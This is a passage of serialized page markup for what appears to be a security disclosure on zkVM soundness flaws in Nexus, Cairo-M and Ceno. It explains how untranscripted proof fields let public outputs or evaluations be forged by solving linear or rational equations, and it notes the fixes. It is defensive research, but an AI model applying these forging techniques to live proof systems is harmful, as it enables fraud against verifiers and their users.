",{"type":21,"tag":78,"props":120057,"children":120059},{"className":120058},[],[120060],{"type":26,"value":117208},{"type":26,"value":120062},", the overall composition polynomial is linear in all ",{"type":21,"tag":78,"props":120064,"children":120066},{"className":120065},[],[120067],{"type":26,"value":117208},{"type":26,"value":120069}," values.",{"type":21,"tag":22,"props":120071,"children":120072},{},[120073,120075],{"type":26,"value":120074},"The verifier checks ",{"type":21,"tag":78,"props":120076,"children":120078},{"className":120077},[6715,6716],[120079],{"type":21,"tag":153,"props":120080,"children":120082},{"className":120081},[6721],[120083],{"type":21,"tag":153,"props":120084,"children":120086},{"className":120085,"ariaHidden":3294},[6726],[120087,120148],{"type":21,"tag":153,"props":120088,"children":120090},{"className":120089},[6731],[120091,120095,120100,120105,120115,120120,120130,120135,120139,120144],{"type":21,"tag":153,"props":120092,"children":120094},{"className":120093,"style":95286},[6736],[],{"type":21,"tag":153,"props":120096,"children":120098},{"className":120097,"style":24812},[6742,24280],[120099],{"type":26,"value":118573},{"type":21,"tag":153,"props":120101,"children":120103},{"className":120102},[24409],[120104],{"type":26,"value":189},{"type":21,"tag":153,"props":120106,"children":120108},{"className":120107},[6742,26],[120109],{"type":21,"tag":153,"props":120110,"children":120112},{"className":120111},[6742],[120113],{"type":26,"value":120114},"oods",{"type":21,"tag":153,"props":120116,"children":120118},{"className":120117,"style":95344},[6742],[120119],{"type":26,"value":5834},{"type":21,"tag":153,"props":120121,"children":120123},{"className":120122},[6742,26],[120124],{"type":21,"tag":153,"props":120125,"children":120127},{"className":120126},[6742],[120128],{"type":26,"value":120129},"point",{"type":21,"tag":153,"props":120131,"children":120133},{"className":120132},[24431],[120134],{"type":26,"value":2071},{"type":21,"tag":153,"props":120136,"children":120138},{"className":120137,"style":6918},[6820],[],{"type":21,"tag":153,"props":120140,"children":120142},{"className":120141},[6923],[120143],{"type":26,"value":2367},{"type":21,"tag":153,"props":120145,"children":120147},{"className":120146,"style":6918},[6820],[],{"type":21,"tag":153,"props":120149,"children":120151},{"className":120150},[6731],[120152,120156],{"type":21,"tag":153,"props":120153,"children":120155},{"className":120154,"style":117399},[6736],[],{"type":21,"tag":153,"props":120157,"children":120159},{"className":120158},[6742,26],[120160],{"type":21,"tag":153,"props":120161,"children":120163},{"className":120162},[6742],[120164],{"type":26,"value":118898},{"type":21,"tag":22,"props":120166,"children":120167},{},[120168,120170,120175,120177,120182],{"type":26,"value":120169},"With ",{"type":21,"tag":78,"props":120171,"children":120173},{"className":120172},[],[120174],{"type":26,"value":117208},{"type":26,"value":120176}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":21,"tag":78,"props":120178,"children":120180},{"className":120179},[],[120181],{"type":26,"value":117208},{"type":26,"value":120183}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":21,"tag":22,"props":120185,"children":120186},{},[120187,120191,120193],{"type":21,"tag":8055,"props":120188,"children":120189},{},[120190],{"type":26,"value":119054},{"type":26,"value":120192}," Fixed on October 24, 2025 via ",{"type":21,"tag":29,"props":120194,"children":120197},{"href":120195,"rel":120196},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[33],[120198],{"type":26,"value":120199},"PR #503",{"type":21,"tag":21491,"props":120201,"children":120202},{},[],{"type":21,"tag":114,"props":120204,"children":120206},{"id":120205},"cairo-m-kakarot-labs",[120207],{"type":26,"value":120208},"Cairo-M (Kakarot Labs)",{"type":21,"tag":22,"props":120210,"children":120211},{},[120212],{"type":26,"value":120213},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":21,"tag":22,"props":120215,"children":120216},{},[120217],{"type":26,"value":120218},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":21,"tag":22,"props":120220,"children":120221},{},[120222],{"type":21,"tag":8055,"props":120223,"children":120224},{},[120225],{"type":26,"value":117760},{"type":21,"tag":143,"props":120227,"children":120229},{"code":120228},"Proof {\n    claim: ComponentSizes,\n    interaction_claim: LogupClaimsPerComponent,\n    public_data: {          // \u003C- VULNERABLE\n        initial_registers: { pc, fp },\n        final_registers: { pc, fp }, // \u003C- forged\n        clock,                       // \u003C- forged\n        initial_root,                \n        final_root,                  // \u003C- forged\n        public_memory: { program, input, output }, //output modified\n    },\n    stark_proof: [...],\n}\n",[120230],{"type":21,"tag":78,"props":120231,"children":120232},{"__ignoreMap":7},[120233],{"type":26,"value":120228},{"type":21,"tag":22,"props":120235,"children":120236},{},[120237],{"type":21,"tag":8055,"props":120238,"children":120239},{},[120240],{"type":26,"value":117776},{"type":21,"tag":22,"props":120242,"children":120243},{},[120244],{"type":21,"tag":3644,"props":120245,"children":120248},{"alt":120246,"src":120247},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":21,"tag":22,"props":120250,"children":120251},{},[120252,120254,120260],{"type":26,"value":120253},"Lookup challenges are derived without ",{"type":21,"tag":78,"props":120255,"children":120257},{"className":120256},[],[120258],{"type":26,"value":120259},"public_data",{"type":26,"value":120261}," being  mixed into the transcript.",{"type":21,"tag":22,"props":120263,"children":120264},{},[120265,120266,120271,120273,120278],{"type":26,"value":19311},{"type":21,"tag":78,"props":120267,"children":120269},{"className":120268},[],[120270],{"type":26,"value":120259},{"type":26,"value":120272}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":21,"tag":5302,"props":120274,"children":120275},{},[120276],{"type":26,"value":120277},"denominators",{"type":26,"value":120279}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":21,"tag":22,"props":120281,"children":120282},{},[120283],{"type":21,"tag":78,"props":120284,"children":120286},{"className":120285},[6715,6716],[120287],{"type":21,"tag":153,"props":120288,"children":120290},{"className":120289},[6721],[120291],{"type":21,"tag":153,"props":120292,"children":120294},{"className":120293,"ariaHidden":3294},[6726],[120295,120355,120401,120447],{"type":21,"tag":153,"props":120296,"children":120298},{"className":120297},[6731],[120299,120303,120309,120314,120323,120328,120337,120342,120346,120351],{"type":21,"tag":153,"props":120300,"children":120302},{"className":120301,"style":95286},[6736],[],{"type":21,"tag":153,"props":120304,"children":120306},{"className":120305},[6742,24280],[120307],{"type":26,"value":120308},"L",{"type":21,"tag":153,"props":120310,"children":120312},{"className":120311},[24409],[120313],{"type":26,"value":189},{"type":21,"tag":153,"props":120315,"children":120317},{"className":120316},[6742,26],[120318],{"type":21,"tag":153,"props":120319,"children":120321},{"className":120320},[6742],[120322],{"type":26,"value":63968},{"type":21,"tag":153,"props":120324,"children":120326},{"className":120325,"style":95344},[6742],[120327],{"type":26,"value":5834},{"type":21,"tag":153,"props":120329,"children":120331},{"className":120330},[6742,26],[120332],{"type":21,"tag":153,"props":120333,"children":120335},{"className":120334},[6742],[120336],{"type":26,"value":195},{"type":21,"tag":153,"props":120338,"children":120340},{"className":120339},[24431],[120341],{"type":26,"value":2071},{"type":21,"tag":153,"props":120343,"children":120345},{"className":120344,"style":6821},[6820],[],{"type":21,"tag":153,"props":120347,"children":120349},{"className":120348},[6826],[120350],{"type":26,"value":4099},{"type":21,"tag":153,"props":120352,"children":120354},{"className":120353,"style":6821},[6820],[],{"type":21,"tag":153,"props":120356,"children":120358},{"className":120357},[6731],[120359,120363,120373,120378,120388,120392,120397],{"type":21,"tag":153,"props":120360,"children":120362},{"className":120361,"style":95286},[6736],[],{"type":21,"tag":153,"props":120364,"children":120366},{"className":120365},[6742,26],[120367],{"type":21,"tag":153,"props":120368,"children":120370},{"className":120369},[6742],[120371],{"type":26,"value":120372},"(other transcript",{"type":21,"tag":153,"props":120374,"children":120376},{"className":120375,"style":95344},[6742],[120377],{"type":26,"value":5834},{"type":21,"tag":153,"props":120379,"children":120381},{"className":120380},[6742,26],[120382],{"type":21,"tag":153,"props":120383,"children":120385},{"className":120384},[6742],[120386],{"type":26,"value":120387},"bound terms)",{"type":21,"tag":153,"props":120389,"children":120391},{"className":120390,"style":6918},[6820],[],{"type":21,"tag":153,"props":120393,"children":120395},{"className":120394},[6923],[120396],{"type":26,"value":2367},{"type":21,"tag":153,"props":120398,"children":120400},{"className":120399,"style":6918},[6820],[],{"type":21,"tag":153,"props":120402,"children":120404},{"className":120403},[6731],[120405,120410,120415,120420,120425,120429,120434,120438,120443],{"type":21,"tag":153,"props":120406,"children":120409},{"className":120407,"style":120408},[6736],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":21,"tag":153,"props":120411,"children":120413},{"className":120412},[6742],[120414],{"type":26,"value":2996},{"type":21,"tag":153,"props":120416,"children":120418},{"className":120417},[6852],[120419],{"type":26,"value":6855},{"type":21,"tag":153,"props":120421,"children":120424},{"className":120422,"style":120423},[6820],"margin-right:2em;",[],{"type":21,"tag":153,"props":120426,"children":120428},{"className":120427,"style":6859},[6820],[],{"type":21,"tag":153,"props":120430,"children":120432},{"className":120431},[6742,24280],[120433],{"type":26,"value":120308},{"type":21,"tag":153,"props":120435,"children":120437},{"className":120436,"style":6918},[6820],[],{"type":21,"tag":153,"props":120439,"children":120441},{"className":120440},[6923],[120442],{"type":26,"value":2367},{"type":21,"tag":153,"props":120444,"children":120446},{"className":120445,"style":6918},[6820],[],{"type":21,"tag":153,"props":120448,"children":120450},{"className":120449},[6731],[120451,120456,120513,120517,120735],{"type":21,"tag":153,"props":120452,"children":120455},{"className":120453,"style":120454},[6736],"height:1.4071em;vertical-align:-0.562em;",[],{"type":21,"tag":153,"props":120457,"children":120459},{"className":120458},[24316],[120460,120465],{"type":21,"tag":153,"props":120461,"children":120463},{"className":120462,"style":24323},[24316,24321,24322],[120464],{"type":26,"value":111139},{"type":21,"tag":153,"props":120466,"children":120468},{"className":120467},[6757],[120469],{"type":21,"tag":153,"props":120470,"children":120472},{"className":120471},[6762,24334],[120473,120502],{"type":21,"tag":153,"props":120474,"children":120476},{"className":120475},[6767],[120477,120497],{"type":21,"tag":153,"props":120478,"children":120480},{"className":120479,"style":116551},[6772],[120481],{"type":21,"tag":153,"props":120482,"children":120483},{"style":24347},[120484,120488],{"type":21,"tag":153,"props":120485,"children":120487},{"className":120486,"style":6782},[6781],[],{"type":21,"tag":153,"props":120489,"children":120491},{"className":120490},[6787,6788,6789,6790],[120492],{"type":21,"tag":153,"props":120493,"children":120495},{"className":120494},[6742,24280,6790],[120496],{"type":26,"value":6471},{"type":21,"tag":153,"props":120498,"children":120500},{"className":120499},[24437],[120501],{"type":26,"value":24440},{"type":21,"tag":153,"props":120503,"children":120505},{"className":120504},[6767],[120506],{"type":21,"tag":153,"props":120507,"children":120509},{"className":120508,"style":116831},[6772],[120510],{"type":21,"tag":153,"props":120511,"children":120512},{},[],{"type":21,"tag":153,"props":120514,"children":120516},{"className":120515,"style":6859},[6820],[],{"type":21,"tag":153,"props":120518,"children":120520},{"className":120519},[6742],[120521,120525,120731],{"type":21,"tag":153,"props":120522,"children":120524},{"className":120523},[24409,115862],[],{"type":21,"tag":153,"props":120526,"children":120528},{"className":120527},[115867],[120529],{"type":21,"tag":153,"props":120530,"children":120532},{"className":120531},[6762,24334],[120533,120719],{"type":21,"tag":153,"props":120534,"children":120536},{"className":120535},[6767],[120537,120714],{"type":21,"tag":153,"props":120538,"children":120540},{"className":120539,"style":115880},[6772],[120541,120683,120694],{"type":21,"tag":153,"props":120542,"children":120543},{"style":115884},[120544,120548],{"type":21,"tag":153,"props":120545,"children":120547},{"className":120546,"style":114515},[6781],[],{"type":21,"tag":153,"props":120549,"children":120551},{"className":120550},[6787,6788,6789,6790],[120552],{"type":21,"tag":153,"props":120553,"children":120555},{"className":120554},[6742,6790],[120556,120561,120566,120572,120577,120582,120639,120644,120653,120658,120667,120673,120678],{"type":21,"tag":153,"props":120557,"children":120559},{"className":120558,"style":115901},[6742,24280,6790],[120560],{"type":26,"value":115904},{"type":21,"tag":153,"props":120562,"children":120564},{"className":120563},[6826,6790],[120565],{"type":26,"value":4099},{"type":21,"tag":153,"props":120567,"children":120569},{"className":120568},[24409,6790],[120570],{"type":26,"value":120571},"⟨",{"type":21,"tag":153,"props":120573,"children":120575},{"className":120574,"style":117432},[6742,24280,6790],[120576],{"type":26,"value":117435},{"type":21,"tag":153,"props":120578,"children":120580},{"className":120579},[6852,6790],[120581],{"type":26,"value":6855},{"type":21,"tag":153,"props":120583,"children":120585},{"className":120584},[6742,6790],[120586,120591],{"type":21,"tag":153,"props":120587,"children":120589},{"className":120588},[6742,24280,6790],[120590],{"type":26,"value":24422},{"type":21,"tag":153,"props":120592,"children":120594},{"className":120593},[6757],[120595],{"type":21,"tag":153,"props":120596,"children":120598},{"className":120597},[6762,24334],[120599,120628],{"type":21,"tag":153,"props":120600,"children":120602},{"className":120601},[6767],[120603,120623],{"type":21,"tag":153,"props":120604,"children":120606},{"className":120605,"style":116668},[6772],[120607],{"type":21,"tag":153,"props":120608,"children":120609},{"style":111199},[120610,120614],{"type":21,"tag":153,"props":120611,"children":120613},{"className":120612,"style":111204},[6781],[],{"type":21,"tag":153,"props":120615,"children":120617},{"className":120616},[6787,111209,111210,6790],[120618],{"type":21,"tag":153,"props":120619,"children":120621},{"className":120620},[6742,24280,6790],[120622],{"type":26,"value":6471},{"type":21,"tag":153,"props":120624,"children":120626},{"className":120625},[24437],[120627],{"type":26,"value":24440},{"type":21,"tag":153,"props":120629,"children":120631},{"className":120630},[6767],[120632],{"type":21,"tag":153,"props":120633,"children":120635},{"className":120634,"style":111229},[6772],[120636],{"type":21,"tag":153,"props":120637,"children":120638},{},[],{"type":21,"tag":153,"props":120640,"children":120642},{"className":120641},[24409,6790],[120643],{"type":26,"value":189},{"type":21,"tag":153,"props":120645,"children":120647},{"className":120646},[6742,26,6790],[120648],{"type":21,"tag":153,"props":120649,"children":120651},{"className":120650},[6742,6790],[120652],{"type":26,"value":63968},{"type":21,"tag":153,"props":120654,"children":120656},{"className":120655,"style":95344},[6742,6790],[120657],{"type":26,"value":5834},{"type":21,"tag":153,"props":120659,"children":120661},{"className":120660},[6742,26,6790],[120662],{"type":21,"tag":153,"props":120663,"children":120665},{"className":120664},[6742,6790],[120666],{"type":26,"value":195},{"type":21,"tag":153,"props":120668,"children":120670},{"className":120669},[24431,6790],[120671],{"type":26,"value":120672},")⟩",{"type":21,"tag":153,"props":120674,"children":120676},{"className":120675},[6826,6790],[120677],{"type":26,"value":4099},{"type":21,"tag":153,"props":120679,"children":120681},{"className":120680,"style":117487},[6742,24280,6790],[120682],{"type":26,"value":117490},{"type":21,"tag":153,"props":120684,"children":120685},{"style":115917},[120686,120690],{"type":21,"tag":153,"props":120687,"children":120689},{"className":120688,"style":114515},[6781],[],{"type":21,"tag":153,"props":120691,"children":120693},{"className":120692,"style":115927},[115926],[],{"type":21,"tag":153,"props":120695,"children":120696},{"style":115931},[120697,120701],{"type":21,"tag":153,"props":120698,"children":120700},{"className":120699,"style":114515},[6781],[],{"type":21,"tag":153,"props":120702,"children":120704},{"className":120703},[6787,6788,6789,6790],[120705],{"type":21,"tag":153,"props":120706,"children":120708},{"className":120707},[6742,6790],[120709],{"type":21,"tag":153,"props":120710,"children":120712},{"className":120711},[6742,6790],[120713],{"type":26,"value":3033},{"type":21,"tag":153,"props":120715,"children":120717},{"className":120716},[24437],[120718],{"type":26,"value":24440},{"type":21,"tag":153,"props":120720,"children":120722},{"className":120721},[6767],[120723],{"type":21,"tag":153,"props":120724,"children":120727},{"className":120725,"style":120726},[6772],"height:0.562em;",[120728],{"type":21,"tag":153,"props":120729,"children":120730},{},[],{"type":21,"tag":153,"props":120732,"children":120734},{"className":120733},[24431,115862],[],{"type":21,"tag":153,"props":120736,"children":120738},{"className":120737},[6742],[120739],{"type":26,"value":355},{"type":21,"tag":22,"props":120741,"children":120742},{},[120743,120745],{"type":26,"value":120744},"The global check is then that ",{"type":21,"tag":78,"props":120746,"children":120748},{"className":120747},[6715,6716],[120749],{"type":21,"tag":153,"props":120750,"children":120752},{"className":120751},[6721],[120753],{"type":21,"tag":153,"props":120754,"children":120756},{"className":120755,"ariaHidden":3294},[6726],[120757,120798,120829],{"type":21,"tag":153,"props":120758,"children":120760},{"className":120759},[6731],[120761,120765,120770,120775,120780,120785,120789,120794],{"type":21,"tag":153,"props":120762,"children":120764},{"className":120763,"style":6841},[6736],[],{"type":21,"tag":153,"props":120766,"children":120768},{"className":120767},[6742,24280],[120769],{"type":26,"value":120308},{"type":21,"tag":153,"props":120771,"children":120773},{"className":120772},[24409],[120774],{"type":26,"value":189},{"type":21,"tag":153,"props":120776,"children":120778},{"className":120777},[6742,24280],[120779],{"type":26,"value":22},{"type":21,"tag":153,"props":120781,"children":120783},{"className":120782},[24431],[120784],{"type":26,"value":2071},{"type":21,"tag":153,"props":120786,"children":120788},{"className":120787,"style":6821},[6820],[],{"type":21,"tag":153,"props":120790,"children":120792},{"className":120791},[6826],[120793],{"type":26,"value":4099},{"type":21,"tag":153,"props":120795,"children":120797},{"className":120796,"style":6821},[6820],[],{"type":21,"tag":153,"props":120799,"children":120801},{"className":120800},[6731],[120802,120806,120816,120820,120825],{"type":21,"tag":153,"props":120803,"children":120805},{"className":120804,"style":6841},[6736],[],{"type":21,"tag":153,"props":120807,"children":120809},{"className":120808},[6742,26],[120810],{"type":21,"tag":153,"props":120811,"children":120813},{"className":120812},[6742],[120814],{"type":26,"value":120815},"(other terms)",{"type":21,"tag":153,"props":120817,"children":120819},{"className":120818,"style":6918},[6820],[],{"type":21,"tag":153,"props":120821,"children":120823},{"className":120822},[6923],[120824],{"type":26,"value":2367},{"type":21,"tag":153,"props":120826,"children":120828},{"className":120827,"style":6918},[6820],[],{"type":21,"tag":153,"props":120830,"children":120832},{"className":120831},[6731],[120833,120837],{"type":21,"tag":153,"props":120834,"children":120836},{"className":120835,"style":96375},[6736],[],{"type":21,"tag":153,"props":120838,"children":120840},{"className":120839},[6742],[120841],{"type":26,"value":2996},{"type":21,"tag":22,"props":120843,"children":120844},{},[120845],{"type":26,"value":120846},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":21,"tag":22,"props":120848,"children":120849},{},[120850],{"type":26,"value":120851},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":21,"tag":22,"props":120853,"children":120854},{},[120855,120859,120861],{"type":21,"tag":8055,"props":120856,"children":120857},{},[120858],{"type":26,"value":119054},{"type":26,"value":120860}," Fixed on October 31, 2025 via ",{"type":21,"tag":29,"props":120862,"children":120865},{"href":120863,"rel":120864},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[33],[120866],{"type":26,"value":120867},"commit 92b6740",{"type":21,"tag":21491,"props":120869,"children":120870},{},[],{"type":21,"tag":114,"props":120872,"children":120874},{"id":120873},"ceno-scroll",[120875],{"type":26,"value":120876},"Ceno (Scroll)",{"type":21,"tag":22,"props":120878,"children":120879},{},[120880],{"type":26,"value":120881},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":21,"tag":22,"props":120883,"children":120884},{},[120885,120887,120892],{"type":26,"value":120886},"Ceno splits verification into ",{"type":21,"tag":8055,"props":120888,"children":120889},{},[120890],{"type":26,"value":120891},"chips",{"type":26,"value":120893},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":21,"tag":22,"props":120895,"children":120896},{},[120897,120899,120904],{"type":26,"value":120898},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":21,"tag":8055,"props":120900,"children":120901},{},[120902],{"type":26,"value":120903},"tower sumcheck",{"type":26,"value":355},{"type":21,"tag":22,"props":120906,"children":120907},{},[120908],{"type":26,"value":120909},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":21,"tag":22,"props":120911,"children":120912},{},[120913],{"type":21,"tag":78,"props":120914,"children":120916},{"className":120915},[6715,6716],[120917],{"type":21,"tag":153,"props":120918,"children":120920},{"className":120919},[6721],[120921],{"type":21,"tag":153,"props":120922,"children":120924},{"className":120923,"ariaHidden":3294},[6726],[120925,121099,121272],{"type":21,"tag":153,"props":120926,"children":120928},{"className":120927},[6731],[120929,120933,120991,120995,121004,121009,121019,121024,121086,121090,121095],{"type":21,"tag":153,"props":120930,"children":120932},{"className":120931,"style":95286},[6736],[],{"type":21,"tag":153,"props":120934,"children":120936},{"className":120935},[24316],[120937,120943],{"type":21,"tag":153,"props":120938,"children":120940},{"className":120939,"style":24323},[24316,24321,24322],[120941],{"type":26,"value":120942},"∏",{"type":21,"tag":153,"props":120944,"children":120946},{"className":120945},[6757],[120947],{"type":21,"tag":153,"props":120948,"children":120950},{"className":120949},[6762,24334],[120951,120980],{"type":21,"tag":153,"props":120952,"children":120954},{"className":120953},[6767],[120955,120975],{"type":21,"tag":153,"props":120956,"children":120958},{"className":120957,"style":116551},[6772],[120959],{"type":21,"tag":153,"props":120960,"children":120961},{"style":24347},[120962,120966],{"type":21,"tag":153,"props":120963,"children":120965},{"className":120964,"style":6782},[6781],[],{"type":21,"tag":153,"props":120967,"children":120969},{"className":120968},[6787,6788,6789,6790],[120970],{"type":21,"tag":153,"props":120971,"children":120973},{"className":120972},[6742,24280,6790],[120974],{"type":26,"value":6471},{"type":21,"tag":153,"props":120976,"children":120978},{"className":120977},[24437],[120979],{"type":26,"value":24440},{"type":21,"tag":153,"props":120981,"children":120983},{"className":120982},[6767],[120984],{"type":21,"tag":153,"props":120985,"children":120987},{"className":120986,"style":116831},[6772],[120988],{"type":21,"tag":153,"props":120989,"children":120990},{},[],{"type":21,"tag":153,"props":120992,"children":120994},{"className":120993,"style":6859},[6820],[],{"type":21,"tag":153,"props":120996,"children":120998},{"className":120997},[6742,26],[120999],{"type":21,"tag":153,"props":121000,"children":121002},{"className":121001},[6742],[121003],{"type":26,"value":96163},{"type":21,"tag":153,"props":121005,"children":121007},{"className":121006,"style":95344},[6742],[121008],{"type":26,"value":5834},{"type":21,"tag":153,"props":121010,"children":121012},{"className":121011},[6742,26],[121013],{"type":21,"tag":153,"props":121014,"children":121016},{"className":121015},[6742],[121017],{"type":26,"value":121018},"out",{"type":21,"tag":153,"props":121020,"children":121022},{"className":121021,"style":95344},[6742],[121023],{"type":26,"value":5834},{"type":21,"tag":153,"props":121025,"children":121027},{"className":121026},[6742],[121028,121038],{"type":21,"tag":153,"props":121029,"children":121031},{"className":121030},[6742,26],[121032],{"type":21,"tag":153,"props":121033,"children":121035},{"className":121034},[6742],[121036],{"type":26,"value":121037},"evals",{"type":21,"tag":153,"props":121039,"children":121041},{"className":121040},[6757],[121042],{"type":21,"tag":153,"props":121043,"children":121045},{"className":121044},[6762,24334],[121046,121075],{"type":21,"tag":153,"props":121047,"children":121049},{"className":121048},[6767],[121050,121070],{"type":21,"tag":153,"props":121051,"children":121053},{"className":121052,"style":95873},[6772],[121054],{"type":21,"tag":153,"props":121055,"children":121056},{"style":116474},[121057,121061],{"type":21,"tag":153,"props":121058,"children":121060},{"className":121059,"style":6782},[6781],[],{"type":21,"tag":153,"props":121062,"children":121064},{"className":121063},[6787,6788,6789,6790],[121065],{"type":21,"tag":153,"props":121066,"children":121068},{"className":121067},[6742,24280,6790],[121069],{"type":26,"value":6471},{"type":21,"tag":153,"props":121071,"children":121073},{"className":121072},[24437],[121074],{"type":26,"value":24440},{"type":21,"tag":153,"props":121076,"children":121078},{"className":121077},[6767],[121079],{"type":21,"tag":153,"props":121080,"children":121082},{"className":121081,"style":95427},[6772],[121083],{"type":21,"tag":153,"props":121084,"children":121085},{},[],{"type":21,"tag":153,"props":121087,"children":121089},{"className":121088,"style":6918},[6820],[],{"type":21,"tag":153,"props":121091,"children":121093},{"className":121092},[6923],[121094],{"type":26,"value":2367},{"type":21,"tag":153,"props":121096,"children":121098},{"className":121097,"style":6918},[6820],[],{"type":21,"tag":153,"props":121100,"children":121102},{"className":121101},[6731],[121103,121108,121165,121169,121178,121183,121192,121197,121259,121263,121268],{"type":21,"tag":153,"props":121104,"children":121107},{"className":121105,"style":121106},[6736],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":21,"tag":153,"props":121109,"children":121111},{"className":121110},[24316],[121112,121117],{"type":21,"tag":153,"props":121113,"children":121115},{"className":121114,"style":24323},[24316,24321,24322],[121116],{"type":26,"value":120942},{"type":21,"tag":153,"props":121118,"children":121120},{"className":121119},[6757],[121121],{"type":21,"tag":153,"props":121122,"children":121124},{"className":121123},[6762,24334],[121125,121154],{"type":21,"tag":153,"props":121126,"children":121128},{"className":121127},[6767],[121129,121149],{"type":21,"tag":153,"props":121130,"children":121132},{"className":121131,"style":116551},[6772],[121133],{"type":21,"tag":153,"props":121134,"children":121135},{"style":24347},[121136,121140],{"type":21,"tag":153,"props":121137,"children":121139},{"className":121138,"style":6782},[6781],[],{"type":21,"tag":153,"props":121141,"children":121143},{"className":121142},[6787,6788,6789,6790],[121144],{"type":21,"tag":153,"props":121145,"children":121147},{"className":121146,"style":116567},[6742,24280,6790],[121148],{"type":26,"value":11382},{"type":21,"tag":153,"props":121150,"children":121152},{"className":121151},[24437],[121153],{"type":26,"value":24440},{"type":21,"tag":153,"props":121155,"children":121157},{"className":121156},[6767],[121158],{"type":21,"tag":153,"props":121159,"children":121161},{"className":121160,"style":116582},[6772],[121162],{"type":21,"tag":153,"props":121163,"children":121164},{},[],{"type":21,"tag":153,"props":121166,"children":121168},{"className":121167,"style":6859},[6820],[],{"type":21,"tag":153,"props":121170,"children":121172},{"className":121171},[6742,26],[121173],{"type":21,"tag":153,"props":121174,"children":121176},{"className":121175},[6742],[121177],{"type":26,"value":51862},{"type":21,"tag":153,"props":121179,"children":121181},{"className":121180,"style":95344},[6742],[121182],{"type":26,"value":5834},{"type":21,"tag":153,"props":121184,"children":121186},{"className":121185},[6742,26],[121187],{"type":21,"tag":153,"props":121188,"children":121190},{"className":121189},[6742],[121191],{"type":26,"value":121018},{"type":21,"tag":153,"props":121193,"children":121195},{"className":121194,"style":95344},[6742],[121196],{"type":26,"value":5834},{"type":21,"tag":153,"props":121198,"children":121200},{"className":121199},[6742],[121201,121210],{"type":21,"tag":153,"props":121202,"children":121204},{"className":121203},[6742,26],[121205],{"type":21,"tag":153,"props":121206,"children":121208},{"className":121207},[6742],[121209],{"type":26,"value":121037},{"type":21,"tag":153,"props":121211,"children":121213},{"className":121212},[6757],[121214],{"type":21,"tag":153,"props":121215,"children":121217},{"className":121216},[6762,24334],[121218,121247],{"type":21,"tag":153,"props":121219,"children":121221},{"className":121220},[6767],[121222,121242],{"type":21,"tag":153,"props":121223,"children":121225},{"className":121224,"style":95873},[6772],[121226],{"type":21,"tag":153,"props":121227,"children":121228},{"style":116474},[121229,121233],{"type":21,"tag":153,"props":121230,"children":121232},{"className":121231,"style":6782},[6781],[],{"type":21,"tag":153,"props":121234,"children":121236},{"className":121235},[6787,6788,6789,6790],[121237],{"type":21,"tag":153,"props":121238,"children":121240},{"className":121239,"style":116567},[6742,24280,6790],[121241],{"type":26,"value":11382},{"type":21,"tag":153,"props":121243,"children":121245},{"className":121244},[24437],[121246],{"type":26,"value":24440},{"type":21,"tag":153,"props":121248,"children":121250},{"className":121249},[6767],[121251],{"type":21,"tag":153,"props":121252,"children":121255},{"className":121253,"style":121254},[6772],"height:0.2861em;",[121256],{"type":21,"tag":153,"props":121257,"children":121258},{},[],{"type":21,"tag":153,"props":121260,"children":121262},{"className":121261,"style":6821},[6820],[],{"type":21,"tag":153,"props":121264,"children":121266},{"className":121265},[6826],[121267],{"type":26,"value":113606},{"type":21,"tag":153,"props":121269,"children":121271},{"className":121270,"style":6821},[6820],[],{"type":21,"tag":153,"props":121273,"children":121275},{"className":121274},[6731],[121276,121280,121285,121295],{"type":21,"tag":153,"props":121277,"children":121279},{"className":121278,"style":6841},[6736],[],{"type":21,"tag":153,"props":121281,"children":121283},{"className":121282},[24409],[121284],{"type":26,"value":189},{"type":21,"tag":153,"props":121286,"children":121288},{"className":121287},[6742,26],[121289],{"type":21,"tag":153,"props":121290,"children":121292},{"className":121291},[6742],[121293],{"type":26,"value":121294},"state factors",{"type":21,"tag":153,"props":121296,"children":121298},{"className":121297},[24431],[121299],{"type":26,"value":2071},{"type":21,"tag":22,"props":121301,"children":121302},{},[121303],{"type":21,"tag":8055,"props":121304,"children":121305},{},[121306],{"type":26,"value":117760},{"type":21,"tag":143,"props":121308,"children":121310},{"code":121309},"ZKVMChipProof {\n    r_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    w_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    lk_out_evals: [[FieldElement]],  // \u003C- VULNERABLE\n    tower_proof: [...],\n    gkr_iop_proof: [...],\n}\n",[121311],{"type":21,"tag":78,"props":121312,"children":121313},{"__ignoreMap":7},[121314],{"type":26,"value":121309},{"type":21,"tag":22,"props":121316,"children":121317},{},[121318,121324,121325,121331,121332,121338],{"type":21,"tag":78,"props":121319,"children":121321},{"className":121320},[],[121322],{"type":26,"value":121323},"r_out_evals",{"type":26,"value":1670},{"type":21,"tag":78,"props":121326,"children":121328},{"className":121327},[],[121329],{"type":26,"value":121330},"w_out_evals",{"type":26,"value":9217},{"type":21,"tag":78,"props":121333,"children":121335},{"className":121334},[],[121336],{"type":26,"value":121337},"lk_out_evals",{"type":26,"value":121339}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":21,"tag":126,"props":121341,"children":121342},{},[121343],{"type":21,"tag":91,"props":121344,"children":121345},{},[121346,121351,121353,121359],{"type":21,"tag":8055,"props":121347,"children":121348},{},[121349],{"type":26,"value":121350},"GKR/Tower equation",{"type":26,"value":121352}," (linear in 